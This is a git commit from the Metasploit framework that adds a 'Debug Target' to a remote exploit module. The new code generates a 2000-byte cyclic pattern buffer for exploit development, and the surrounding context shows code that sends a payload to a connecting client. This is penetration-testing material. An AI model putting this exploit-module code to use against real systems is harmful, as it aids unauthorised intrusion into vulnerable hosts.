Add a debug target

unstable
HD Moore 2013-02-03 23:24:44 -06:00
parent 191eed88bc
commit 4c8811bb8a
1 changed files with 13 additions and 0 deletions

View File

@ -89,7 +89,15 @@ class Metasploit3 < Msf::Exploit::Remote
# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
} ],
[ "Debug Target", {
# The callback handles all target-specific settings
:callback => :target_debug
} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 29 2013'))
@ -214,6 +222,11 @@ class Metasploit3 < Msf::Exploit::Remote
end
# Generate a buffer that provides a starting point for exploit development
def target_debug
buffer = Rex::Text.pattern_create(2000)
end
def stage_real_payload(cli)
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
cli.put(payload.encoded + "\n")